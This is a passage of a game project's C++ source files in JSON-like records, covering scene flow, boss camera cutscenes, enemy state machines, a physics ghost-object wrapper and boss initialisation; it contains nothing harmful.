"text": "#include \"stdafx.h\"\n#include \"Game.h\"\n#include \"Level/GameStage.h\"\n#include \"Player/Player.h\"\n#include \"Camera/GameCamera.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"GameHUD.h\"\n#include \"GameManager.h\"\n#include \"GameSceneMenu.h\"\n#include \"Title.h\"\n#include \"Fade.h\"\n#include \"Goal.h\"\n#include \"Result.h\"\n#include \"Player/Player.h\"\n#include \"Player/Attachment/JetPack.h\"\n#include \"Player/Attachment/Gun.h\"\n#include \"Player/Attachment/Shield.h\"\n\n#include \"EndingScene.h\"\n\nvoid Game::Release()\n{\n\tGameManager::GetInstance().Release();\n\tEnemyManager::GetEnemyManager().Release();\n}\n\nvoid Game::OnDestroy()\n{\n\tRelease();\n}\n\nvoid Game::Awake()\n{\n\tm_windSE = NewGO < CSoundSource>(0);\n\tm_windSE->Init(L\"Assets/sound/windoOo.wav\", false);\n\tm_windSE->Play(true);\n}\n\nvoid Game::OnGoal() {\n\tFade::GetInstance().FadeOut();\n\tm_isCleared = true;\n\tDebugPrint_WATA(\"goal\\n\");\n}\n\nvoid Game::OnEnterBattle(IEnemy* enemy) {\n\n\tDebugPrint_WATA(\"enter battle\\n\");\n\n\tauto cam = GameManager::GetInstance().m_camera;\n\tauto tar = enemy->GetPosition();\n\tauto center = GameManager::GetInstance().m_player->GetPosition();\n\n\t//Rotate.\n\tauto vecToPlayer = GameManager::GetInstance().GetPlayer()->GetPosition() - enemy->GetPosition();\n\tvecToPlayer.Normalize();\n\tQuaternion eneRot = Quaternion::Identity;\n\tauto theta = atan2(vecToPlayer.x, vecToPlayer.z);\n\ttheta = theta * (180.f / Math::PI);\n\teneRot.SetRotationDegY(theta);\n\tenemy->SetRotation(eneRot);\n\tenemy->GetModel()->SetRotation(eneRot);\n\n\ttar.y += 20.f;\n\n\tauto vecTargetToCenter = center - tar;\n\tauto camBeginPos = center + vecTargetToCenter;\n\tcamBeginPos.y += 30.f;\n\tQuaternion rot = Quaternion::Identity;\n\trot.SetRotationDegY(10.f);\n\n\tauto camEndPos = enemy->GetPosition();\n\tVector3 vecToCamEndPos = { 0.f,15.f,10.f };\n\teneRot.Apply(vecToCamEndPos);\n\tcamEndPos = enemy->GetPosition() + vecToCamEndPos;\n\n\t//rot.Apply(camEndPos);\n\tauto sec = 2.5f;\n\tauto interval = 1.7f;\n\t//cam->Perform(\n\t//camBeginPos, camEndPos,\n\t//\ttar, tar,\n\t//\tcenter, sec\n\t//);\n\n\tEnemyManager::GetEnemyManager().SetTargetEnemy(enemy);\n\n\tcam->Perform(\n\t\tcamBeginPos, camEndPos,\n\t\ttar, tar, sec, interval\n\t);\n\tm_isBossCamPerform = true;\n\tm_boss = enemy;\n}\n\nvoid Game::OnEnemyDied(IEnemy* enemy) {\n\n\tDebugPrint_WATA(\"enemy died\\n\");\n\n\tauto cam = GameManager::GetInstance().m_camera;\n\tauto tar = enemy->GetPosition();\n\ttar.y += 20.f;\n\n\tauto eneForward = enemy->GetForward();\n\tauto camEndPos = enemy->GetPosition() + eneForward * 45.f;\n\tcamEndPos.y += 15.f;\n\tauto sec = 1.f;\n\tauto interval = 1.7f;\n\n\tcam->Perform(\n\t\tcamEndPos, camEndPos,\n\t\ttar, tar, sec, interval\n\t);\n\n\tm_isBossCamPerform = true;\n\tm_boss = enemy;\n\n\tauto& eM = EnemyManager::GetEnemyManager();\n\tif (enemy->IsBoss()) {\n\t\tGameManager::GetInstance().AddDeadBossCount();\n\t\tconst int NUM_BOSS = 3;\n\t\tif (GameManager::GetInstance().GetDeadBossCount() == NUM_BOSS) {\n\t\t\tm_isGenerateGoalAfterBossPerformance = true;\n\t\t}\n\t}\n\n}\n\nvoid Game::OnItemUnlocked() {\n\tDebugPrint_WATA(\"Nannka Item has been unlocked\\n\");\n\tauto player = GameManager::GetInstance().m_player;\n\tauto cam = GameManager::GetInstance().m_camera;\n\tauto tar = player->GetPosition();\n\n\tauto plForward = player->GetForward();\n\tauto camBeginPos = player->GetPosition() + plForward * 45.f;\n\tauto camEndPos = player->GetPosition() + plForward * 25.f;\n\tcamBeginPos.y += 20.f;\n\tcamEndPos.y += 20.f;\n\tauto sec = 1.5f;\n\tauto interval = 0.f;\n\n\tcam->Perform(\n\t\tcamBeginPos, camEndPos,\n\t\ttar, tar, sec, interval\n\t);\n}\n\nbool Game::Start()\n{\n\tGameManager::GetInstance().InitGameWorld();\n\tGameManager::GetInstance().ResetDeadBossCount();\n\tGameManager::GetInstance().m_gameScene = this;\n\n\tm_clearTimer = 0.f;\n\n\treturn true;\n}\n\nvoid Game::PreUpdate()\n{\n}\n\nvoid Game::GoalGatePerformance() {\n\tDebugPrint_WATA(\"Gate Open!!\\n\");\n\n\tGameManager::GetInstance().AppearGoal();\n\tauto goal = GameManager::GetInstance().m_goal;\n\tauto cam = GameManager::GetInstance().m_camera;\n\tauto tar = goal->GetPosition();\n\ttar.y = 5.f;\n\n\tauto plForward = Vector3(0.f, 0.f, 1.f);\n\tauto camBeginPos = goal->GetPosition() + plForward * 105.f;\n\tauto camEndPos = goal->GetPosition() + plForward * 65.f;\n\tcamBeginPos.y = 40.f;\n\tcamEndPos.y = 40.f;\n\tauto sec = 3.0f;\n\tauto interval = 2.f;\n\n\tQuaternion rot = Quaternion::Identity;\n\trot.SetRotationDegY(90.f);\n\trot.Apply(camBeginPos);\n\trot.Apply(camEndPos);\n\n\tcam->Perform(\n\t\tcamBeginPos, camEndPos,\n\t\ttar, tar, sec, interval\n\t);\n\n}\n\nvoid Game::Update()\n{\n\n\t// GOAL DEBUG\n\t//if (g_pad[0]->IsTrigger(EnButton::enButtonB)) {\n\t\t//GoalGatePerformance();\n\t//}\n\n\tif (GameManager::GetInstance().m_stage->HasMapLoadingDone() and m_isCreateEnemyManager == false) {\n\t\tauto& eM = EnemyManager::GetEnemyManager();\n\t\teM.SpawnEnemies();\n\t\tm_isCreateEnemyManager = true;\n\n\t\t//ついでにプレイヤーもここで生成・・・.\n\t\tGameManager::GetInstance().SpawnPlayer();\n\t\tGameManager::GetInstance().SpawnPod();\n\n\t\tFade::GetInstance().FadeIn();\n\t}\n\n\tif (m_boss != nullptr && !m_isBossCamPerform)\n\t{\n\t\tif (m_timer > 1.7f)\n\t\t{\n\t\t\tif (m_boss->GetCurrentState() == m_boss->GetState(TO_INT(IEnemy::EnState::enDeadState))) {\n\t\t\t\tm_boss->SpawnDropItem();\n\t\t\t\tGameObject* enemy = reinterpret_cast<GameObject*>(m_boss);\n\t\t\t\tEnemyManager::GetEnemyManager().DestroyEnemy(m_boss);\n\t\t\t\tGameManager::GetInstance().m_camera->ChangePlayerCam();\n\t\t\t\tm_isCalledExplode = false;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tGameManager::GetInstance().m_camera->ChangeStateToEnemyCam();\n\t\t\t}\n\t\t\t//auto cam = GameManager::GetInstance().m_camera;\n\t\t\t//cam->ChangePlayerCam();\n\t\t\t//GameManager::GetInstance().m_menu->ResumeGame();\n\t\t\tm_timer = 0.f;\n\t\t\tm_boss = nullptr;\n\t\t\treturn;\n\t\t}\n\t\tif (m_timer > 1.f)\n\t\t{\n\t\t\tm_boss->Performance();\n\t\t}\n\t\tif (m_timer > 0.1 and !m_isCalledExplode) {\n\t\t\tif (m_boss->GetCurrentState() == m_boss->GetState(TO_INT(IEnemy::EnState::enDeadState))) {\n\t\t\t\tm_boss->Explode();\n\t\t\t\tm_isCalledExplode = true;\n\t\t\t}\n\t\t}\n\n\t\tm_timer += gameTime()->GetDeltaTime();\n\t}\n\n\tif (m_isGenerateGoalAfterBossPerformance) {\n\t\tm_goalAppearTimer += gameTime()->GetDeltaTime();\n\t\tif (m_goalAppearTimer >= m_goalAppearTime) {\n\t\t\tGoalGatePerformance();\n\t\t\tm_isGenerateGoalAfterBossPerformance = false;\n\t\t}\n\t}\n\n\tif (!GameManager::GetInstance().m_menu->IsGamePaused() and !m_isCleared) {\n\t\tm_clearTimer += gameTime()->GetDeltaTime();\n\t}\n\n\t//printf(\"Clear Timer : %f\\n\", m_clearTimer);\n\n\tauto& fade = Fade::GetInstance();\n\tif (fade.IsFaded() and m_isCleared and !m_engingFlag) {\n\t\t//auto result = NewGO<Result>(0);\n\t\t\n\t\tconst double meleeActiveTime = GameManager::GetInstance().m_player->GetJetPack()->GetActivatedTime();\n\t\tconst double remoteActiveTime = GameManager::GetInstance().m_player->GetGun()->GetActivatedTime();\n\t\tconst double bombActiveTime = GameManager::GetInstance().m_player->GetShield()->GetActivatedTime();\n\n\t\tResult::SAttachmentPercentage ap;\n\t\tap.defaultAttachment = ((m_clearTimer - (meleeActiveTime + remoteActiveTime + bombActiveTime)) / m_clearTimer) * 100.0;\n\t\tap.meleeAttachment = (meleeActiveTime / m_clearTimer) * 100.0;\n\t\tap.remoteAttachment = (remoteActiveTime / m_clearTimer) * 100.0;\n\t\tap.bombAttachment = (bombActiveTime / m_clearTimer) * 100.0;\n\n\t\t//printf(\"Clear Time : %f\\n default Time : %f (%f%%)\\n melee Time : %f (%f%)\\n remote Time : %f (%f%)\\n bomb Time : %f (%f%)\\n\",\n\t\t//\tm_clearTimer,\n\t\t//\tm_clearTimer - (meleeActiveTime + remoteActiveTime + bombActiveTime), (m_clearTimer - (meleeActiveTime + remoteActiveTime + bombActiveTime)) / m_clearTimer,\n\t\t//\tmeleeActiveTime, meleeActiveTime / m_clearTimer,\n\t\t//\tremoteActiveTime, remoteActiveTime / m_clearTimer,\n\t\t//\tbombActiveTime, bombActiveTime / m_clearTimer\n\t\t//);\n\n\t\tconst int numCorpse = EnemyManager::GetEnemyManager().GetCorpseCount();\n\t\t//result->Init(m_clearTimer, numCorpse, ap);\n\t\tauto go = reinterpret_cast<GameObject*>(this);\n\t\t//DeleteGO(go);\n\n\t\tDeleteGO(GameManager::GetInstance().m_stage);\n\t\tEnemyManager::GetEnemyManager().Release();\n\t\tDeleteGO(GameManager::GetInstance().m_gameHUD);\n\t\t//DeleteGO(GameManager::GetInstance().m_itemManager);\n\n\t\tEndingScene* end = NewGO<EndingScene>(0);\n\t\tend->Init(m_clearTimer);\n\t\tm_engingFlag = true;\n\t\tSetActive(false);\n\n\t\tif (m_windSE != nullptr) {\n\t\t\tm_windSE->Stop();\n\t\t\tDeleteGO(m_windSE);\n\t\t\tm_windSE = nullptr;\n\t\t}\n\t}\n}\n\nvoid Game::PostUpdate()\n{\n\tFade::GetInstance().Update();\n\n\t{\n\t\tauto player = GameManager::GetInstance().m_player;\n\t\tfloat HP = player->GetCurrentHP();\n\t\t//体力0以下ならポーズさせない\n\t\tif (HP <= 0.f)\n\t\t\treturn;\n\t\tif (player->GetCurrentState() == player->GetState((Player::EnState::enStun)))\n\t\t\treturn;\n\t\tif (g_pad[0]->IsTrigger(EnButton::enButtonStart) and !GameManager::GetInstance().GetGameCamera()->IsPerforming()) {\n\t\t\tif (GameManager::GetInstance().m_menu->IsGamePaused()) {\n\t\t\t\tGameManager::GetInstance().m_menu->ResumeGame();\n\t\t\t}\n\t\t\telse {\n\t\t\t\tGameManager::GetInstance().m_menu->PauseGame();\n\t\t\t}\n\t\t}\n\t}\n\n\tif (Fade::GetInstance().IsFaded() and m_restartFlag) {\n\t\tauto go = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(go);\n\t\tNewGO<Game>(0);\n\t}\n\n\tif (Fade::GetInstance().IsFaded() and m_toTitleFlag) {\n\t\tauto player = GameManager::GetInstance().GetPlayer();\n\t\tplayer->SetStateSudden(player->GetState(Player::EnState::enMovie));\n\t\tauto go = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(go);\n\t\tNewGO<Title>(1);\n\t}\n}\n\nvoid Game::Render()\n{\n}\n\nvoid Game::PostRender()\n{\n\t/*static Font font;\n\tfont.Begin();\n\tfont.Draw(L\"テストてすとTESTtest\", { 0,0 }, Vector4::White, 0, 1);\n\tfont.End();*/\n}\n\n\nvoid Game::Restart() {\n\tFade::GetInstance().FadeOut();\n\tm_restartFlag = true;\n\tif (m_windSE != nullptr) {\n\t\tm_windSE->Stop();\n\t\tDeleteGO(m_windSE);\n\t\tm_windSE = nullptr;\n\t}\n}\n\nvoid Game::ToTitle() {\n\tFade::GetInstance().FadeOut();\n\tm_toTitleFlag = true;\n\tif (m_windSE != nullptr) {\n\t\tm_windSE->Stop();\n\t\tDeleteGO(m_windSE);\n\t\tm_windSE = nullptr;\n\t}\n}"
},
{
"alpha_fraction": 0.7686676383018494,
"alphanum_fraction": 0.7686676383018494,
"avg_line_length": 20.34375,
"blob_id": "8c1f90f7fa83fe2800e93ccb256ba559fd2bc027",
"content_id": "ba9414e3eddced10781be658e1307403e5c8c005",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 683,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 32,
"path": "/Game/Enemy/State/EnemyShortRangeDanceState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortRangeDanceState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"GameManager.h\"\n#include \"Enemy/Zako/Zako_ShortRangeMonster.h\"\n\nEnemyShortRangeDanceState::EnemyShortRangeDanceState()\n{\n}\n\nEnemyShortRangeDanceState::~EnemyShortRangeDanceState()\n{\n}\n\nvoid EnemyShortRangeDanceState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(Zako_ShortRangeMonster::EnAnimEX::enDance));\n}\n\nIEnemyState* EnemyShortRangeDanceState::Update(IEnemy* e)\n{\n\tif (!e->GetModel()->IsAnimPlaying())\n\t{\n\t\treturn e->GetState(TO_INT(Zako_ShortRangeMonster::EnStateEX::enComing));\n\t}\n\treturn this;\n}\n\nvoid EnemyShortRangeDanceState::Exit(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7378378510475159,
"alphanum_fraction": 0.7378378510475159,
"avg_line_length": 19.55555534362793,
"blob_id": "56b09ae38f45fdad43fa87251a31ede8fb43b991",
"content_id": "c7bc7eec8ceb1de9372997a77225223c43b3f9be",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 370,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 18,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigIdle.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass EnemyShortBigIdle final : public IEnemyState\n{\npublic:\n\tEnemyShortBigIdle();\n\t~EnemyShortBigIdle();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e) override\n\t{\n\t\tm_isAttacked = true;\n\t}\nprivate:\n\tbool m_isAttacked = false;\n};\n"
},
{
"alpha_fraction": 0.6992936134338379,
"alphanum_fraction": 0.7134208083152771,
"avg_line_length": 19.224489212036133,
"blob_id": "fd10c9f43032c86d3f114493516e81a3e27d55c9",
"content_id": "8d8bd9aec88558a0039c9320fb777de61262721f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1033,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 49,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigIdle.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortBigIdle.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_ShortBig.h\"\n\nEnemyShortBigIdle::EnemyShortBigIdle()\n{\n}\n\nEnemyShortBigIdle::~EnemyShortBigIdle()\n{\n}\n\nvoid EnemyShortBigIdle::Enter(IEnemy* e)\n{\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\t//重力。\n\tconst Vector3 gravity = { 0.f,-5000.f,0.f };\n\te->SetVelocity(gravity);\n}\n\nIEnemyState* EnemyShortBigIdle::Update(IEnemy* e)\n{\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\n\t//プレイヤーが空中にいるなら動かない。\n\tconst float airPlayerYPos = 70.0f;\n\tif (vecToPlayer.y > airPlayerYPos) {\n\t\treturn this;\n\t}\n\n\tconst float chaseRange = 100.f;\n\n\tif ((vecToPlayer.Length() < chaseRange and player->GetCurrentHP() > 0.f) or m_isAttacked) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\treturn this;\n}\n\nvoid EnemyShortBigIdle::Exit(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6606060862541199,
"alphanum_fraction": 0.6636363863945007,
"avg_line_length": 17.351852416992188,
"blob_id": "baaa7443d65944b4838aa732f810fbbcd781d9df",
"content_id": "84e9e56ae84e03e3f0d76d9d187d6ea900a405b7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1014,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 54,
"path": "/UsualEngineR/Physics/GhostObject.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"Physics/ICollider.h\"\n\n\nnamespace UER\n{\n\tclass ICollider;\n\tclass GhostObject:public ICollider\n\t{\n\tpublic:\n\t\tvoid Release();\n\n\t\tvoid Create(ICollider* collider, const Vector3& pos, const Quaternion& rot);\n\n\t\t/*!\n\t\t* @brief\t座標を設定。\n\t\t*/\n\t\tvoid SetPosition(const Vector3& pos)\n\t\t{\n\t\t\tauto& btTrans = m_ghost.getWorldTransform();\n\t\t\tbtVector3 btPos;\n\t\t\t//pos.CopyTo(btPos);\n\t\t\tbtPos.setValue(pos.x, pos.y, pos.z);\n\t\t\tbtTrans.setOrigin(btPos);\n\t\t}\n\t\t/*!\n\t\t* @brief\t回転を設定。\n\t\t*/\n\t\tvoid SetRotation(const Quaternion& rot)\n\t\t{\n\t\t\tauto& btTrans = m_ghost.getWorldTransform();\n\t\t\tbtQuaternion btRot;\n\t\t\t//rot.CopyTo(btRot);\n\t\t\tbtRot.setValue(rot.x, rot.y, rot.z);\n\t\t\tbtRot.setW(rot.w);\n\t\t\tbtTrans.setRotation(btRot);\n\t\t}\n\n\t\tbtCollisionShape* GetBody() const override\n\t\t{\n\t\t\treturn m_collider->GetBody();\n\t\t}\n\n\t\tbtGhostObject* GetGhost()\n\t\t{\n\t\t\treturn &m_ghost;\n\t\t}\n\tprivate:\n\t\tICollider* m_collider = nullptr;\n\t\tbtGhostObject m_ghost;\n\t\tbool m_isRegistPhysicsWorld = false;\n\t};\n}"
},
{
"alpha_fraction": 0.6315789222717285,
"alphanum_fraction": 0.6315789222717285,
"avg_line_length": 9.199999809265137,
"blob_id": "7796424da2f6e5a45363981b64613f6f291634d9",
"content_id": "f4708d482dfaf58e6e13c29be30dffbe447000d3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 152,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 15,
"path": "/UsualEngineR/Thread/ThreadManager.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"ThreadManager.h\"\n\n\n\nnamespace UER\n{\n\tThreadManager::~ThreadManager()\n\t{\n\t\tfor (auto t : m_threadList)\n\t\t{\n\t\t\t\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.7137271761894226,
"alphanum_fraction": 0.7165508270263672,
"avg_line_length": 28.14556884765625,
"blob_id": "3f79f4ef81a15cf2cb4bc6af326d240602750d0d",
"content_id": "557459cbb4e1fc48fe1952be6de1b02d9c1784fc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4640,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 158,
"path": "/Game/Enemy/Boss/Boss_Fatman.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_Fatman.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Drop/DropItemFat.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanMainState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanBeamState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanChargeBeamState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanShootingState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanTakeDistanceState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanTackleState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanTakeDistanceState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanStunState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanChargeBeamAndShootingState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanDeadState.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanIdleState.h\"\n#include \"Enemy/BossBGM.h\"\n\nEnBattlePhase Boss_Fatman::m_battlePhase = EnBattlePhase::Normal;\nconst float Boss_Fatman::TAKE_DISTANCE = 70.0f;\n\nBoss_Fatman::Boss_Fatman()\n{\n\tm_battlePhase = EnBattlePhase::Normal;\n}\n\nBoss_Fatman::~Boss_Fatman()\n{\n\n}\n\nvoid Boss_Fatman::Init()\n{\n\tm_isNormalEnemy = false;\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/boss/lf/lf.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/boss/lf/lf.tks\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\n\tInitAnimation();\n\n\t//State\n\tSetState(m_stateMap[TO_INT(IEnemy::EnState::enIdleState)]);\n\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n}\n\nvoid Boss_Fatman::InitAnimation()\n{\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enIdle), \"Assets/modelData/boss/lf/anim/lf_idle.tka\", true);\n\tSetAnimation(TO_INT(Boss_Fatman::EnAnimEX::enAngry), \"Assets/modelData/boss/lf/anim/lf_angry.tka\", true);\n\tSetAnimation(TO_INT(Boss_Fatman::EnAnimEX::enbackStep), \"Assets/modelData/boss/lf/anim/lf_backStep.tka\", true);\n\n\tm_model->InitAnimation(m_animationMap, m_animationMap.size());\n}\n\nvoid Boss_Fatman::InitState()\n{\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new Boss_FatmanDeadState());\n\t\tm_stateMap.insert(p);\n\t}\n\t/*{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enBattleState), new Boss_FatmanMainState());\n\t\tm_stateMap.insert(p);\n\t}*/\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enStunState), new Boss_FatmanMainState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enIdleState), new Boss_FatmanIdleState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enAttackA), new Boss_FatmanBeamState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(IEnemy::EnState::enAttackB), new Boss_FatmanChargeBeamState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enAttackC), new Boss_FatmanShootingState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enAttackD), new Boss_FatmanTackleState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enTakeDistance), new Boss_FatmanTakeDistanceState());\n\t\tm_stateMap.insert(p);\n\t}\n\t{\n\t\tauto p = std::make_pair(TO_INT(EnStateEX::enAttackE), new Boss_FatmanChargeBeamAndShootingState());\n\t\tm_stateMap.insert(p);\n\t}\n}\n\nvoid Boss_Fatman::InitIK()\n{\n\tconst float radius = 0.5f;\n\tauto ske = m_model->GetModel().GetSkelton();\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Beam_IK_R\")), 1, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enArm_R), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Beam_IK_L\")), 1, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\t\tSetIK(TO_INT(EnIK::enArm_L), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Barrel_IK_L\")), 1, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enFoot_L), ik);\n\t}\n\t{\n\t\tIK* ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Barrel_IK_R\")), 1, radius);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\n\t\tSetIK(TO_INT(EnIK::enFoot_R), ik);\n\t}\n}\n\nvoid Boss_Fatman::Execute()\n{\n\tm_model->SetPosition(m_position);\n\t//m_model->SetRotation(m_rotation);\n\n\t//体力がなくなったら死亡ステートへ遷移\n\tif (m_ability.hp <= 0) {\n\t\tSetState(m_stateMap[TO_INT(IEnemy::EnState::enDeadState)]);\n\t}\n}\n\nvoid Boss_Fatman::Terminate()\n{\n\tDeleteGO(m_model);\n\tEnemyManager::GetEnemyManager().SetFatBoss(nullptr);\n}\n\nvoid Boss_Fatman::SpawnDropItem() {\n\tauto item = NewGO<DropItemFat>(0);\n\titem->SetPosition(m_position);\n}"
},
{
"alpha_fraction": 0.7174677848815918,
"alphanum_fraction": 0.7268463969230652,
"avg_line_length": 20.299999237060547,
"blob_id": "1c8adfa6d06be736c9153bd603f97dc672600dc2",
"content_id": "c2651a298246933b3c5ffc23e30cf4074edfd9ff",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 853,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 40,
"path": "/Game/Player/Attack/DistantPreset/PlayerAttackHipShot.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IPlayerAttack.h\"\n//Note : This class is no longer used in this project.\n\nclass PlayerAttackHipShot : public IPlayerAttack\n{\npublic:\n\tPlayerAttackHipShot();\n\tvirtual ~PlayerAttackHipShot() override;\n\n\tvirtual void Init(Player*, int combo) override;;\n\tvirtual void Execute(Player*) override;\n\n\tvirtual const bool IsDone() override {\n\t\treturn m_isDone;\n\t}\n\n\tvirtual const float GetInterval() override {\n\t\treturn m_interval;\n\t}\n\n\tvirtual const bool IsContinueAttack() override {\n\t\treturn false;\n\t}\n\nprivate:\n\tvoid GenerateProjectiles(Player* player);\n\tvoid Move(Player* player);\n\n\t//attack\n\tbool m_isDone = false;\n\tconst float m_interval = 0.5f;\n\n\t//shot\n\tconst float m_shotInterval = 0.2f;\n\tfloat m_shotIntervalTimer = m_shotInterval;\n\n\tfloat m_range = 50.f;\n\tconst float m_damageAmount = m_DEFAULT_ATTACK_DAMAGE * 1.f / 2.f;\n};\n\n"
},
{
"alpha_fraction": 0.6408724784851074,
"alphanum_fraction": 0.6525577902793884,
"avg_line_length": 23.838708877563477,
"blob_id": "61428378d871640ab8ff5f7736f88915f211bfd0",
"content_id": "6704325e8c7691ccff1806dfd291c8bd404d61c6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3857,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 155,
"path": "/Game/Enemy/State/EnemyLongDistanceBlownState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "WINDOWS-1252",
"text": "#include \"stdafx.h\"\n#include \"EnemyLongDistanceBlownState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_LongDistanceMachine.h\"\n#include \"Effect/ExplosionEffect.h\"\n\nEnemyLongDistanceBlownState::EnemyLongDistanceBlownState()\n{\n\tm_effect = NewGO<ExplosionEffect>(0);\n\tm_effect->Init();\n\tm_effect->SetSca(Vector3::One * 0.2f);\n}\n\nEnemyLongDistanceBlownState::~EnemyLongDistanceBlownState()\n{\n\tDeleteGO(m_effect);\n}\n\nvoid EnemyLongDistanceBlownState::Enter(IEnemy* e)\n{\n\tauto ene = reinterpret_cast<Zako_LongDistanceMachine*>(e);\n\tm_body = &ene->GetRigidBody();\n\tene->SetKinematicFrag(true);\n\tif (m_ik[0] == nullptr)\n\t{\n\t\tint i = 0;\n\t\t//m_ik[i++] = e->GetIK(TO_INT(IEnemy::EnIK::enChest));\n\t\tm_ik[i++] = e->GetIK(TO_INT(IEnemy::EnIK::enHead));\n\t\tm_ik[i++] = 